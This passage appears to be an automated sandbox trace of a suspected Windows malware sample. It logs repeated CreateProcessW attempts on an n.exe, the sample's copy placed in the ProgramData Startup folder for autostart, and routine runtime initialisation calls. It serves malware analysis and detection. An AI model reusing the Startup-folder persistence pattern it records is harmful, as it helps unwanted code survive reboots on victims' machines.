(lpModuleName="ntdll") returned 0x77b90000 [0175.237] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0177.865] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bcb8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0177.865] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bc60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bee4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bee4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0177.866] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0177.866] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0179.914] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bc70, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0179.915] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bc18*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18be9c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18be9c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0179.915] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0179.916] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0181.597] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bc28, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0181.597] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18be54 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18be54*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0181.597] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0181.599] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0183.248] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bbe0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0183.248] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bb88*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18be0c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18be0c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0183.249] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0183.249] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0184.827] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bb98, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0184.827] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bb40*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bdc4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bdc4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0184.828] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0184.828] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0186.365] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bb50, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0186.365] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18baf8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bd7c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bd7c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0186.366] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0186.366] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0188.328] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bb08, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0188.328] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bab0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bd34 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bd34*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0188.329] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0188.329] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0190.572] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bac0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0190.572] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ba68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bcec | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bcec*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0190.572] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0190.573] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0192.109] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ba78, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0192.109] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ba20*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bca4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bca4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0192.110] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0192.110] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0193.452] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ba30, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0193.452] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18b9d8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bc5c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bc5c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0193.453] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0193.453] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0195.509] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b9e8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0195.509] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18b990*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bc14 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bc14*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0195.509] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0195.510] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0197.018] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b9a0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0197.018] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18b948*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bbcc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bbcc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0197.019] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0197.019] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0198.529] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b958, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0198.529] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18b900*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bb84 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bb84*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0198.530] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0198.530] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0199.908] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b910, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0199.908] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18b8b8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bb3c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bb3c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0199.909] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0199.909] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 Thread: id = 207 os_tid = 0x67c Thread: id = 323 os_tid = 0x674 Thread: id = 386 os_tid = 0x648 Thread: id = 387 os_tid = 0x73c Process: id = "17" image_name = "runonce.exe" filename = "c:\\windows\\syswow64\\runonce.exe" page_root = "0x7ad56000" os_pid = "0x4f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "C:\\Windows\\SysWOW64\\runonce.exe /Run6432" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 147 os_tid = 0x4f4 Thread: id = 154 os_tid = 0x548 Thread: id = 158 os_tid = 0x55c Thread: id = 161 os_tid = 0x5a8 Thread: id = 173 os_tid = 0x5e8 Process: id = "18" image_name = "n.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x7af8d000" os_pid = "0x4f8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 148 os_tid = 0x4fc [0126.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xcfcefd80, dwHighDateTime=0x1d595b2)) [0126.350] GetCurrentProcessId () returned 0x4f8 [0126.351] GetCurrentThreadId () returned 0x4fc [0126.351] GetTickCount () returned 0x113514c [0126.351] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=9037457972) returned 1 [0126.351] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0126.351] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3d0000 [0126.362] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.371] GetProcAddress (hModule=0x762e0000, lpProcName="FlsAlloc") returned 0x762f4f2b [0126.371] GetProcAddress (hModule=0x762e0000, lpProcName="FlsGetValue") returned 0x762f1252 [0126.371] GetProcAddress (hModule=0x762e0000, lpProcName="FlsSetValue") returned 0x762f4208 [0126.371] GetProcAddress (hModule=0x762e0000, lpProcName="FlsFree") returned 0x762f359f [0126.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.372] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.372] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.372] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.379] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.381] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.383] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.383] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.383] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.383] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.384] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.384] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.384] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.384] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0126.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x214) returned 0x3d07d0 [0126.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.393] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0126.393] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0126.393] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0126.393] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0126.394] GetCurrentThreadId () returned 0x4fc [0126.394] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0126.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x800) returned 0x3d09f0 [0126.394] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0126.394] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0126.394] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0126.394] SetHandleCount (uNumber=0x20) returned 0x20 [0126.394] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" " [0126.394] GetEnvironmentStringsW () returned 0x5db2b0* [0126.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0126.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x581) returned 0x3d11f8 [0126.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x3d11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0126.394] FreeEnvironmentStringsW (penv=0x5db2b0) returned 1 [0126.394] GetLastError () returned 0x0 [0126.394] SetLastError (dwErrCode=0x0) [0126.394] GetLastError () returned 0x0 [0126.394] SetLastError (dwErrCode=0x0) [0126.394] GetLastError () returned 0x0 [0126.394] SetLastError (dwErrCode=0x0) [0126.394] GetACP () returned 0x4e4 [0126.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x220) returned 0x3d1788 [0126.394] GetLastError () returned 0x0 [0126.403] SetLastError (dwErrCode=0x0) [0126.403] IsValidCodePage (CodePage=0x4e4) returned 1 [0126.403] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0126.403] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0126.403] GetLastError () returned 0x0 [0126.403] SetLastError (dwErrCode=0x0) [0126.403] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.403] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0126.403] GetLastError () returned 0x0 [0126.403] SetLastError (dwErrCode=0x0) [0126.403] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 